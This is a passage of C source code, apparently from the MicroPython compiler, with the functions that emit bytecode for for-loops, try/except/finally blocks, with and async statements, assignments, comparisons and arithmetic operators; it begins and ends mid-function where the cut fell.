compile_for_stmt_optimised_range(compiler_t *comp, mp_parse_node_t pn_var, mp_parse_node_t pn_start, mp_parse_node_t pn_end, mp_parse_node_t pn_step, mp_parse_node_t pn_body, mp_parse_node_t pn_else) { START_BREAK_CONTINUE_BLOCK uint top_label = comp_next_label(comp); uint entry_label = comp_next_label(comp); // put the end value on the stack if it's not a small-int constant bool end_on_stack = !MP_PARSE_NODE_IS_SMALL_INT(pn_end); if (end_on_stack) { compile_node(comp, pn_end); } // compile: start compile_node(comp, pn_start); EMIT_ARG(jump, entry_label); EMIT_ARG(label_assign, top_label); // duplicate next value and store it to var EMIT(dup_top); c_assign(comp, pn_var, ASSIGN_STORE); // compile body compile_node(comp, pn_body); EMIT_ARG(label_assign, continue_label); // compile: var + step compile_node(comp, pn_step); EMIT_ARG(binary_op, MP_BINARY_OP_INPLACE_ADD); EMIT_ARG(label_assign, entry_label); // compile: if var end: goto top if (end_on_stack) { EMIT(dup_top_two); EMIT(rot_two); } else { EMIT(dup_top); compile_node(comp, pn_end); } assert(MP_PARSE_NODE_IS_SMALL_INT(pn_step)); if (MP_PARSE_NODE_LEAF_SMALL_INT(pn_step) >= 0) { EMIT_ARG(binary_op, MP_BINARY_OP_LESS); } else { EMIT_ARG(binary_op, MP_BINARY_OP_MORE); } EMIT_ARG(pop_jump_if, true, top_label); // break/continue apply to outer loop (if any) in the else block END_BREAK_CONTINUE_BLOCK // Compile the else block. We must pop the iterator variables before // executing the else code because it may contain break/continue statements. uint end_label = 0; if (!MP_PARSE_NODE_IS_NULL(pn_else)) { // discard final value of "var", and possible "end" value EMIT(pop_top); if (end_on_stack) { EMIT(pop_top); } compile_node(comp, pn_else); end_label = comp_next_label(comp); EMIT_ARG(jump, end_label); EMIT_ARG(adjust_stack_size, 1 + end_on_stack); } EMIT_ARG(label_assign, break_label); // discard final value of var that failed the loop condition EMIT(pop_top); // discard value if it's on the stack if (end_on_stack) { EMIT(pop_top); } if (!MP_PARSE_NODE_IS_NULL(pn_else)) { EMIT_ARG(label_assign, end_label); } } STATIC void compile_for_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { // this bit optimises: for in range(...), turning it into an explicitly incremented variable // this is actually slower, but uses no heap memory // for viper it will be much, much faster if (/*comp->scope_cur->emit_options == MP_EMIT_OPT_VIPER &&*/ MP_PARSE_NODE_IS_ID(pns->nodes[0]) && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_atom_expr_normal)) { mp_parse_node_struct_t *pns_it = (mp_parse_node_struct_t*)pns->nodes[1]; if (MP_PARSE_NODE_IS_ID(pns_it->nodes[0]) && MP_PARSE_NODE_LEAF_ARG(pns_it->nodes[0]) == MP_QSTR_range && MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pns_it->nodes[1]) == PN_trailer_paren) { mp_parse_node_t pn_range_args = ((mp_parse_node_struct_t*)pns_it->nodes[1])->nodes[0]; mp_parse_node_t *args; int n_args = mp_parse_node_extract_list(&pn_range_args, PN_arglist, &args); mp_parse_node_t pn_range_start; mp_parse_node_t pn_range_end; mp_parse_node_t pn_range_step; bool optimize = false; if (1 <= n_args && n_args <= 3) { optimize = true; if (n_args == 1) { pn_range_start = mp_parse_node_new_small_int(0); pn_range_end = args[0]; pn_range_step = mp_parse_node_new_small_int(1); } else if (n_args == 2) { pn_range_start = args[0]; pn_range_end = args[1]; pn_range_step = mp_parse_node_new_small_int(1); } else { pn_range_start = args[0]; pn_range_end = args[1]; pn_range_step = args[2]; // the step must be a non-zero constant integer to do the optimisation if (!MP_PARSE_NODE_IS_SMALL_INT(pn_range_step) || MP_PARSE_NODE_LEAF_SMALL_INT(pn_range_step) == 0) { optimize = false; } } // arguments must be able to be compiled as standard expressions if (optimize && MP_PARSE_NODE_IS_STRUCT(pn_range_start)) { int k = MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn_range_start); if (k == PN_arglist_star || k == PN_arglist_dbl_star || k == PN_argument) { optimize = false; } } if (optimize && MP_PARSE_NODE_IS_STRUCT(pn_range_end)) { int k = MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn_range_end); if (k == PN_arglist_star || k == PN_arglist_dbl_star || k == PN_argument) { optimize = false; } } } if (optimize) { compile_for_stmt_optimised_range(comp, pns->nodes[0], pn_range_start, pn_range_end, pn_range_step, pns->nodes[2], pns->nodes[3]); return; } } } START_BREAK_CONTINUE_BLOCK comp->break_label |= MP_EMIT_BREAK_FROM_FOR; uint pop_label = comp_next_label(comp); compile_node(comp, pns->nodes[1]); // iterator EMIT_ARG(get_iter, true); EMIT_ARG(label_assign, continue_label); EMIT_ARG(for_iter, pop_label); c_assign(comp, pns->nodes[0], ASSIGN_STORE); // variable compile_node(comp, pns->nodes[2]); // body if (!EMIT(last_emit_was_return_value)) { EMIT_ARG(jump, continue_label); } EMIT_ARG(label_assign, pop_label); EMIT(for_iter_end); // break/continue apply to outer loop (if any) in the else block END_BREAK_CONTINUE_BLOCK compile_node(comp, pns->nodes[3]); // else (may be empty) EMIT_ARG(label_assign, break_label); } STATIC void compile_try_except(compiler_t *comp, mp_parse_node_t pn_body, int n_except, mp_parse_node_t *pn_excepts, mp_parse_node_t pn_else) { // setup code uint l1 = comp_next_label(comp); uint success_label = comp_next_label(comp); EMIT_ARG(setup_except, l1); compile_increase_except_level(comp); compile_node(comp, pn_body); // body EMIT(pop_block); EMIT_ARG(jump, success_label); // jump over exception handler EMIT_ARG(label_assign, l1); // start of exception handler EMIT(start_except_handler); // at this point the top of the stack contains the exception instance that was raised uint l2 = comp_next_label(comp); for (int i = 0; i < n_except; i++) { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn_excepts[i], PN_try_stmt_except)); // should be mp_parse_node_struct_t *pns_except = (mp_parse_node_struct_t*)pn_excepts[i]; qstr qstr_exception_local = 0; uint end_finally_label = comp_next_label(comp); if (MP_PARSE_NODE_IS_NULL(pns_except->nodes[0])) { // this is a catch all exception handler if (i + 1 != n_except) { compile_syntax_error(comp, pn_excepts[i], "default 'except' must be last"); compile_decrease_except_level(comp); return; } } else { // this exception handler requires a match to a certain type of exception mp_parse_node_t pns_exception_expr = pns_except->nodes[0]; if (MP_PARSE_NODE_IS_STRUCT(pns_exception_expr)) { mp_parse_node_struct_t *pns3 = (mp_parse_node_struct_t*)pns_exception_expr; if (MP_PARSE_NODE_STRUCT_KIND(pns3) == PN_try_stmt_as_name) { // handler binds the exception to a local pns_exception_expr = pns3->nodes[0]; qstr_exception_local = MP_PARSE_NODE_LEAF_ARG(pns3->nodes[1]); } } EMIT(dup_top); compile_node(comp, pns_exception_expr); EMIT_ARG(binary_op, MP_BINARY_OP_EXCEPTION_MATCH); EMIT_ARG(pop_jump_if, false, end_finally_label); } // either discard or store the exception instance if (qstr_exception_local == 0) { EMIT(pop_top); } else { compile_store_id(comp, qstr_exception_local); } uint l3 = 0; if (qstr_exception_local != 0) { l3 = comp_next_label(comp); EMIT_ARG(setup_finally, l3); compile_increase_except_level(comp); } compile_node(comp, pns_except->nodes[1]); if (qstr_exception_local != 0) { EMIT(pop_block); } EMIT(pop_except); if (qstr_exception_local != 0) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT_ARG(label_assign, l3); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); compile_store_id(comp, qstr_exception_local); compile_delete_id(comp, qstr_exception_local); compile_decrease_except_level(comp); EMIT(end_finally); } EMIT_ARG(jump, l2); EMIT_ARG(label_assign, end_finally_label); EMIT_ARG(adjust_stack_size, 1); // stack adjust for the exception instance } compile_decrease_except_level(comp); EMIT(end_finally); EMIT(end_except_handler); EMIT_ARG(label_assign, success_label); compile_node(comp, pn_else); // else block, can be null EMIT_ARG(label_assign, l2); } STATIC void compile_try_finally(compiler_t *comp, mp_parse_node_t pn_body, int n_except, mp_parse_node_t *pn_except, mp_parse_node_t pn_else, mp_parse_node_t pn_finally) { uint l_finally_block = comp_next_label(comp); EMIT_ARG(setup_finally, l_finally_block); compile_increase_except_level(comp); if (n_except == 0) { assert(MP_PARSE_NODE_IS_NULL(pn_else)); EMIT_ARG(adjust_stack_size, 3); // stack adjust for possible UNWIND_JUMP state compile_node(comp, pn_body); EMIT_ARG(adjust_stack_size, -3); } else { compile_try_except(comp, pn_body, n_except, pn_except, pn_else); } EMIT(pop_block); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT_ARG(label_assign, l_finally_block); compile_node(comp, pn_finally); compile_decrease_except_level(comp); EMIT(end_finally); } STATIC void compile_try_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])); // should be { mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[1]; if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_try_stmt_finally) { // just try-finally compile_try_finally(comp, pns->nodes[0], 0, NULL, MP_PARSE_NODE_NULL, pns2->nodes[0]); } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_try_stmt_except_and_more) { // try-except and possibly else and/or finally mp_parse_node_t *pn_excepts; int n_except = mp_parse_node_extract_list(&pns2->nodes[0], PN_try_stmt_except_list, &pn_excepts); if (MP_PARSE_NODE_IS_NULL(pns2->nodes[2])) { // no finally compile_try_except(comp, pns->nodes[0], n_except, pn_excepts, pns2->nodes[1]); } else { // have finally compile_try_finally(comp, pns->nodes[0], n_except, pn_excepts, pns2->nodes[1], ((mp_parse_node_struct_t*)pns2->nodes[2])->nodes[0]); } } else { // just try-except mp_parse_node_t *pn_excepts; int n_except = mp_parse_node_extract_list(&pns->nodes[1], PN_try_stmt_except_list, &pn_excepts); compile_try_except(comp, pns->nodes[0], n_except, pn_excepts, MP_PARSE_NODE_NULL); } } } STATIC void compile_with_stmt_helper(compiler_t *comp, int n, mp_parse_node_t *nodes, mp_parse_node_t body) { if (n == 0) { // no more pre-bits, compile the body of the with compile_node(comp, body); } else { uint l_end = comp_next_label(comp); if (MICROPY_EMIT_NATIVE && comp->scope_cur->emit_options != MP_EMIT_OPT_BYTECODE) { // we need to allocate an extra label for the native emitter // it will use l_end+1 as an auxiliary label comp_next_label(comp); } if (MP_PARSE_NODE_IS_STRUCT_KIND(nodes[0], PN_with_item)) { // this pre-bit is of the form "a as b" mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)nodes[0]; compile_node(comp, pns->nodes[0]); EMIT_ARG(setup_with, l_end); c_assign(comp, pns->nodes[1], ASSIGN_STORE); } else { // this pre-bit is just an expression compile_node(comp, nodes[0]); EMIT_ARG(setup_with, l_end); EMIT(pop_top); } compile_increase_except_level(comp); // compile additional pre-bits and the body compile_with_stmt_helper(comp, n - 1, nodes + 1, body); // finish this with block EMIT_ARG(with_cleanup, l_end); compile_decrease_except_level(comp); EMIT(end_finally); } } STATIC void compile_with_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { // get the nodes for the pre-bit of the with (the a as b, c as d, ... bit) mp_parse_node_t *nodes; int n = mp_parse_node_extract_list(&pns->nodes[0], PN_with_stmt_list, &nodes); assert(n > 0); // compile in a nested fashion compile_with_stmt_helper(comp, n, nodes, pns->nodes[1]); } STATIC void compile_yield_from(compiler_t *comp) { EMIT_ARG(get_iter, false); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT(yield_from); } #if MICROPY_PY_ASYNC_AWAIT STATIC void compile_await_object_method(compiler_t *comp, qstr method) { EMIT_ARG(load_method, method, false); EMIT_ARG(call_method, 0, 0, 0); compile_yield_from(comp); } STATIC void compile_async_for_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { // comp->break_label |= MP_EMIT_BREAK_FROM_FOR; qstr context = MP_PARSE_NODE_LEAF_ARG(pns->nodes[1]); uint while_else_label = comp_next_label(comp); uint try_exception_label = comp_next_label(comp); uint try_else_label = comp_next_label(comp); uint try_finally_label = comp_next_label(comp); compile_node(comp, pns->nodes[1]); // iterator compile_await_object_method(comp, MP_QSTR___aiter__); compile_store_id(comp, context); START_BREAK_CONTINUE_BLOCK EMIT_ARG(label_assign, continue_label); EMIT_ARG(setup_except, try_exception_label); compile_increase_except_level(comp); compile_load_id(comp, context); compile_await_object_method(comp, MP_QSTR___anext__); c_assign(comp, pns->nodes[0], ASSIGN_STORE); // variable EMIT(pop_block); EMIT_ARG(jump, try_else_label); EMIT_ARG(label_assign, try_exception_label); EMIT(start_except_handler); EMIT(dup_top); EMIT_LOAD_GLOBAL(MP_QSTR_StopAsyncIteration); EMIT_ARG(binary_op, MP_BINARY_OP_EXCEPTION_MATCH); EMIT_ARG(pop_jump_if, false, try_finally_label); EMIT(pop_top); // pop exception instance EMIT(pop_except); EMIT_ARG(jump, while_else_label); EMIT_ARG(label_assign, try_finally_label); EMIT_ARG(adjust_stack_size, 1); // if we jump here, the exc is on the stack compile_decrease_except_level(comp); EMIT(end_finally); EMIT(end_except_handler); EMIT_ARG(label_assign, try_else_label); compile_node(comp, pns->nodes[2]); // body EMIT_ARG(jump, continue_label); // break/continue apply to outer loop (if any) in the else block END_BREAK_CONTINUE_BLOCK EMIT_ARG(label_assign, while_else_label); compile_node(comp, pns->nodes[3]); // else EMIT_ARG(label_assign, break_label); } STATIC void compile_async_with_stmt_helper(compiler_t *comp, int n, mp_parse_node_t *nodes, mp_parse_node_t body) { if (n == 0) { // no more pre-bits, compile the body of the with compile_node(comp, body); } else { uint try_exception_label = comp_next_label(comp); uint no_reraise_label = comp_next_label(comp); uint try_else_label = comp_next_label(comp); uint end_label = comp_next_label(comp); qstr context; if (MP_PARSE_NODE_IS_STRUCT_KIND(nodes[0], PN_with_item)) { // this pre-bit is of the form "a as b" mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)nodes[0]; compile_node(comp, pns->nodes[0]); context = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); compile_store_id(comp, context); compile_load_id(comp, context); compile_await_object_method(comp, MP_QSTR___aenter__); c_assign(comp, pns->nodes[1], ASSIGN_STORE); } else { // this pre-bit is just an expression compile_node(comp, nodes[0]); context = MP_PARSE_NODE_LEAF_ARG(nodes[0]); compile_store_id(comp, context); compile_load_id(comp, context); compile_await_object_method(comp, MP_QSTR___aenter__); EMIT(pop_top); } compile_load_id(comp, context); EMIT_ARG(load_method, MP_QSTR___aexit__, false); EMIT_ARG(setup_except, try_exception_label); compile_increase_except_level(comp); // compile additional pre-bits and the body compile_async_with_stmt_helper(comp, n - 1, nodes + 1, body); // finish this with block EMIT(pop_block); EMIT_ARG(jump, try_else_label); // jump over exception handler EMIT_ARG(label_assign, try_exception_label); // start of exception handler EMIT(start_except_handler); // at this point the stack contains: ..., __aexit__, self, exc EMIT(dup_top); #if MICROPY_CPYTHON_COMPAT EMIT_ARG(load_attr, MP_QSTR___class__); // get type(exc) #else compile_load_id(comp, MP_QSTR_type); EMIT(rot_two); EMIT_ARG(call_function, 1, 0, 0); // get type(exc) #endif EMIT(rot_two); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); // dummy traceback value // at this point the stack contains: ..., __aexit__, self, type(exc), exc, None EMIT_ARG(call_method, 3, 0, 0); compile_yield_from(comp); EMIT_ARG(pop_jump_if, true, no_reraise_label); EMIT_ARG(raise_varargs, 0); EMIT_ARG(label_assign, no_reraise_label); EMIT(pop_except); EMIT_ARG(jump, end_label); EMIT_ARG(adjust_stack_size, 3); // adjust for __aexit__, self, exc compile_decrease_except_level(comp); EMIT(end_finally); EMIT(end_except_handler); EMIT_ARG(label_assign, try_else_label); // start of try-else handler EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT(dup_top); EMIT(dup_top); EMIT_ARG(call_method, 3, 0, 0); compile_yield_from(comp); EMIT(pop_top); EMIT_ARG(label_assign, end_label); } } STATIC void compile_async_with_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { // get the nodes for the pre-bit of the with (the a as b, c as d, ... bit) mp_parse_node_t *nodes; int n = mp_parse_node_extract_list(&pns->nodes[0], PN_with_stmt_list, &nodes); assert(n > 0); // compile in a nested fashion compile_async_with_stmt_helper(comp, n, nodes, pns->nodes[1]); } STATIC void compile_async_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[0])); mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0]; if (MP_PARSE_NODE_STRUCT_KIND(pns0) == PN_funcdef) { // async def compile_funcdef(comp, pns0); scope_t *fscope = (scope_t*)pns0->nodes[4]; fscope->scope_flags |= MP_SCOPE_FLAG_GENERATOR; } else if (MP_PARSE_NODE_STRUCT_KIND(pns0) == PN_for_stmt) { // async for compile_async_for_stmt(comp, pns0); } else { // async with assert(MP_PARSE_NODE_STRUCT_KIND(pns0) == PN_with_stmt); compile_async_with_stmt(comp, pns0); } } #endif STATIC void compile_expr_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { if (MP_PARSE_NODE_IS_NULL(pns->nodes[1])) { if (comp->is_repl && comp->scope_cur->kind == SCOPE_MODULE) { // for REPL, evaluate then print the expression compile_load_id(comp, MP_QSTR___repl_print__); compile_node(comp, pns->nodes[0]); EMIT_ARG(call_function, 1, 0, 0); EMIT(pop_top); } else { // for non-REPL, evaluate then discard the expression if ((MP_PARSE_NODE_IS_LEAF(pns->nodes[0]) && !MP_PARSE_NODE_IS_ID(pns->nodes[0])) || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_const_object)) { // do nothing with a lonely constant } else { compile_node(comp, pns->nodes[0]); // just an expression EMIT(pop_top); // discard last result since this is a statement and leaves nothing on the stack } } } else if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) { mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1]; int kind = MP_PARSE_NODE_STRUCT_KIND(pns1); if (kind == PN_expr_stmt_augassign) { c_assign(comp, pns->nodes[0], ASSIGN_AUG_LOAD); // lhs load for aug assign compile_node(comp, pns1->nodes[1]); // rhs assert(MP_PARSE_NODE_IS_TOKEN(pns1->nodes[0])); mp_binary_op_t op; switch (MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0])) { case MP_TOKEN_DEL_PIPE_EQUAL: op = MP_BINARY_OP_INPLACE_OR; break; case MP_TOKEN_DEL_CARET_EQUAL: op = MP_BINARY_OP_INPLACE_XOR; break; case MP_TOKEN_DEL_AMPERSAND_EQUAL: op = MP_BINARY_OP_INPLACE_AND; break; case MP_TOKEN_DEL_DBL_LESS_EQUAL: op = MP_BINARY_OP_INPLACE_LSHIFT; break; case MP_TOKEN_DEL_DBL_MORE_EQUAL: op = MP_BINARY_OP_INPLACE_RSHIFT; break; case MP_TOKEN_DEL_PLUS_EQUAL: op = MP_BINARY_OP_INPLACE_ADD; break; case MP_TOKEN_DEL_MINUS_EQUAL: op = MP_BINARY_OP_INPLACE_SUBTRACT; break; case MP_TOKEN_DEL_STAR_EQUAL: op = MP_BINARY_OP_INPLACE_MULTIPLY; break; case MP_TOKEN_DEL_DBL_SLASH_EQUAL: op = MP_BINARY_OP_INPLACE_FLOOR_DIVIDE; break; case MP_TOKEN_DEL_SLASH_EQUAL: op = MP_BINARY_OP_INPLACE_TRUE_DIVIDE; break; case MP_TOKEN_DEL_PERCENT_EQUAL: op = MP_BINARY_OP_INPLACE_MODULO; break; case MP_TOKEN_DEL_DBL_STAR_EQUAL: default: op = MP_BINARY_OP_INPLACE_POWER; break; } EMIT_ARG(binary_op, op); c_assign(comp, pns->nodes[0], ASSIGN_AUG_STORE); // lhs store for aug assign } else if (kind == PN_expr_stmt_assign_list) { int rhs = MP_PARSE_NODE_STRUCT_NUM_NODES(pns1) - 1; compile_node(comp, pns1->nodes[rhs]); // rhs // following CPython, we store left-most first if (rhs > 0) { EMIT(dup_top); } c_assign(comp, pns->nodes[0], ASSIGN_STORE); // lhs store for (int i = 0; i < rhs; i++) { if (i + 1 < rhs) { EMIT(dup_top); } c_assign(comp, pns1->nodes[i], ASSIGN_STORE); // middle store } } else { plain_assign: if (MICROPY_COMP_DOUBLE_TUPLE_ASSIGN && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_testlist_star_expr) && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_star_expr) && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[1]) == 2 && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[0]) == 2) { // optimisation for a, b = c, d mp_parse_node_struct_t *pns10 = (mp_parse_node_struct_t*)pns->nodes[1]; mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0]; if (MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[0], PN_star_expr) || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[1], PN_star_expr)) { // can't optimise when it's a star expression on the lhs goto no_optimisation; } compile_node(comp, pns10->nodes[0]); // rhs compile_node(comp, pns10->nodes[1]); // rhs EMIT(rot_two); c_assign(comp, pns0->nodes[0], ASSIGN_STORE); // lhs store c_assign(comp, pns0->nodes[1], ASSIGN_STORE); // lhs store } else if (MICROPY_COMP_TRIPLE_TUPLE_ASSIGN && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_testlist_star_expr) && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_star_expr) && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[1]) == 3 && MP_PARSE_NODE_STRUCT_NUM_NODES((mp_parse_node_struct_t*)pns->nodes[0]) == 3) { // optimisation for a, b, c = d, e, f mp_parse_node_struct_t *pns10 = (mp_parse_node_struct_t*)pns->nodes[1]; mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns->nodes[0]; if (MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[0], PN_star_expr) || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[1], PN_star_expr) || MP_PARSE_NODE_IS_STRUCT_KIND(pns0->nodes[2], PN_star_expr)) { // can't optimise when it's a star expression on the lhs goto no_optimisation; } compile_node(comp, pns10->nodes[0]); // rhs compile_node(comp, pns10->nodes[1]); // rhs compile_node(comp, pns10->nodes[2]); // rhs EMIT(rot_three); EMIT(rot_two); c_assign(comp, pns0->nodes[0], ASSIGN_STORE); // lhs store c_assign(comp, pns0->nodes[1], ASSIGN_STORE); // lhs store c_assign(comp, pns0->nodes[2], ASSIGN_STORE); // lhs store } else { no_optimisation: compile_node(comp, pns->nodes[1]); // rhs c_assign(comp, pns->nodes[0], ASSIGN_STORE); // lhs store } } } else { goto plain_assign; } } STATIC void c_binary_op(compiler_t *comp, mp_parse_node_struct_t *pns, mp_binary_op_t binary_op) { int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); compile_node(comp, pns->nodes[0]); for (int i = 1; i < num_nodes; i += 1) { compile_node(comp, pns->nodes[i]); EMIT_ARG(binary_op, binary_op); } } STATIC void compile_test_if_expr(compiler_t *comp, mp_parse_node_struct_t *pns) { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_test_if_else)); mp_parse_node_struct_t *pns_test_if_else = (mp_parse_node_struct_t*)pns->nodes[1]; uint l_fail = comp_next_label(comp); uint l_end = comp_next_label(comp); c_if_cond(comp, pns_test_if_else->nodes[0], false, l_fail); // condition compile_node(comp, pns->nodes[0]); // success value EMIT_ARG(jump, l_end); EMIT_ARG(label_assign, l_fail); EMIT_ARG(adjust_stack_size, -1); // adjust stack size compile_node(comp, pns_test_if_else->nodes[1]); // failure value EMIT_ARG(label_assign, l_end); } STATIC void compile_lambdef(compiler_t *comp, mp_parse_node_struct_t *pns) { if (comp->pass == MP_PASS_SCOPE) { // create a new scope for this lambda scope_t *s = scope_new_and_link(comp, SCOPE_LAMBDA, (mp_parse_node_t)pns, comp->scope_cur->emit_options); // store the lambda scope so the compiling function (this one) can use it at each pass pns->nodes[2] = (mp_parse_node_t)s; } // get the scope for this lambda scope_t *this_scope = (scope_t*)pns->nodes[2]; // compile the lambda definition compile_funcdef_lambdef(comp, this_scope, pns->nodes[0], PN_varargslist); } STATIC void compile_or_and_test(compiler_t *comp, mp_parse_node_struct_t *pns, bool cond) { uint l_end = comp_next_label(comp); int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); for (int i = 0; i < n; i += 1) { compile_node(comp, pns->nodes[i]); if (i + 1 < n) { EMIT_ARG(jump_if_or_pop, cond, l_end); } } EMIT_ARG(label_assign, l_end); } STATIC void compile_or_test(compiler_t *comp, mp_parse_node_struct_t *pns) { compile_or_and_test(comp, pns, true); } STATIC void compile_and_test(compiler_t *comp, mp_parse_node_struct_t *pns) { compile_or_and_test(comp, pns, false); } STATIC void compile_not_test_2(compiler_t *comp, mp_parse_node_struct_t *pns) { compile_node(comp, pns->nodes[0]); EMIT_ARG(unary_op, MP_UNARY_OP_NOT); } STATIC void compile_comparison(compiler_t *comp, mp_parse_node_struct_t *pns) { int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); compile_node(comp, pns->nodes[0]); bool multi = (num_nodes > 3); uint l_fail = 0; if (multi) { l_fail = comp_next_label(comp); } for (int i = 1; i + 1 < num_nodes; i += 2) { compile_node(comp, pns->nodes[i + 1]); if (i + 2 < num_nodes) { EMIT(dup_top); EMIT(rot_three); } if (MP_PARSE_NODE_IS_TOKEN(pns->nodes[i])) { mp_binary_op_t op; switch (MP_PARSE_NODE_LEAF_ARG(pns->nodes[i])) { case MP_TOKEN_OP_LESS: op = MP_BINARY_OP_LESS; break; case MP_TOKEN_OP_MORE: op = MP_BINARY_OP_MORE; break; case MP_TOKEN_OP_DBL_EQUAL: op = MP_BINARY_OP_EQUAL; break; case MP_TOKEN_OP_LESS_EQUAL: op = MP_BINARY_OP_LESS_EQUAL; break; case MP_TOKEN_OP_MORE_EQUAL: op = MP_BINARY_OP_MORE_EQUAL; break; case MP_TOKEN_OP_NOT_EQUAL: op = MP_BINARY_OP_NOT_EQUAL; break; case MP_TOKEN_KW_IN: default: op = MP_BINARY_OP_IN; break; } EMIT_ARG(binary_op, op); } else { assert(MP_PARSE_NODE_IS_STRUCT(pns->nodes[i])); // should be mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[i]; int kind = MP_PARSE_NODE_STRUCT_KIND(pns2); if (kind == PN_comp_op_not_in) { EMIT_ARG(binary_op, MP_BINARY_OP_NOT_IN); } else { assert(kind == PN_comp_op_is); // should be if (MP_PARSE_NODE_IS_NULL(pns2->nodes[0])) { EMIT_ARG(binary_op, MP_BINARY_OP_IS); } else { EMIT_ARG(binary_op, MP_BINARY_OP_IS_NOT); } } } if (i + 2 < num_nodes) { EMIT_ARG(jump_if_or_pop, false, l_fail); } } if (multi) { uint l_end = comp_next_label(comp); EMIT_ARG(jump, l_end); EMIT_ARG(label_assign, l_fail); EMIT_ARG(adjust_stack_size, 1); EMIT(rot_two); EMIT(pop_top); EMIT_ARG(label_assign, l_end); } } STATIC void compile_star_expr(compiler_t *comp, mp_parse_node_struct_t *pns) { compile_syntax_error(comp, (mp_parse_node_t)pns, "*x must be assignment target"); } STATIC void compile_expr(compiler_t *comp, mp_parse_node_struct_t *pns) { c_binary_op(comp, pns, MP_BINARY_OP_OR); } STATIC void compile_xor_expr(compiler_t *comp, mp_parse_node_struct_t *pns) { c_binary_op(comp, pns, MP_BINARY_OP_XOR); } STATIC void compile_and_expr(compiler_t *comp, mp_parse_node_struct_t *pns) { c_binary_op(comp, pns, MP_BINARY_OP_AND); } STATIC void compile_term(compiler_t *comp, mp_parse_node_struct_t *pns) { int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); compile_node(comp, pns->nodes[0]); for (int i = 1; i + 1 < num_nodes; i += 2) { compile_node(comp, pns->nodes[i + 1]); mp_binary_op_t op; mp_token_kind_t tok = MP_PARSE_NODE_LEAF_ARG(pns->nodes[i]); switch (tok) { case MP_TOKEN_OP_PLUS: op = MP_BINARY_OP_ADD; break; case MP_TOKEN_OP_MINUS: op = MP_BINARY_OP_SUBTRACT; break; case MP_TOKEN_OP_STAR: op = MP_BINARY_OP_MULTIPLY; break; case MP_TOKEN_OP_DBL_SLASH: op = MP_BINARY_OP_FLOOR_DIVIDE; break; case MP_TOKEN_OP_SLASH: op = MP_BINARY_OP_TRUE_DIVIDE; break; case MP_TOKEN_OP_PERCENT: op = MP_BINARY_OP_MODULO; break; case MP_TOKEN_OP_DBL_LESS: op = MP_BINARY_OP_LSHIFT; break; default: assert(tok == MP_TOKEN_OP_DBL_MORE); op = MP_BINARY_OP_RSHIFT; break; } EMIT_ARG(binary_op, op); } } STATIC void compile_factor_2(compiler_t *comp, mp_parse_node_struct_t *pns) { compile_node(comp, pns->nodes[1]); mp_unary_op_t op; mp_token_kind_t tok = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); switch (tok) { case MP_TOKEN_OP_PLUS: op = MP_UNARY_OP_POSITIVE; break; case MP_TOKEN_OP_MINUS: op = MP_UNARY_OP_NEGATIVE; break; default: assert(tok == MP_TOKEN_OP_TILDE); op = MP_UNARY_OP_INVERT; break; } EMIT_ARG(unary_op, op); } STATIC void compile_atom_expr_normal(compiler_t *comp, mp_parse_node_struct_t *pns) { // compile the subject of the expression compile_node(comp, pns->nodes[0]); // compile_atom_expr_await may call us with a NULL node if (MP_PARSE_NODE_IS_NULL(pns->nodes[1])) { return; } // get the array of trailers (known to be an array of PARSE_NODE_STRUCT) size_t num_trail = 1; mp_parse_node_struct_t **pns_trail = 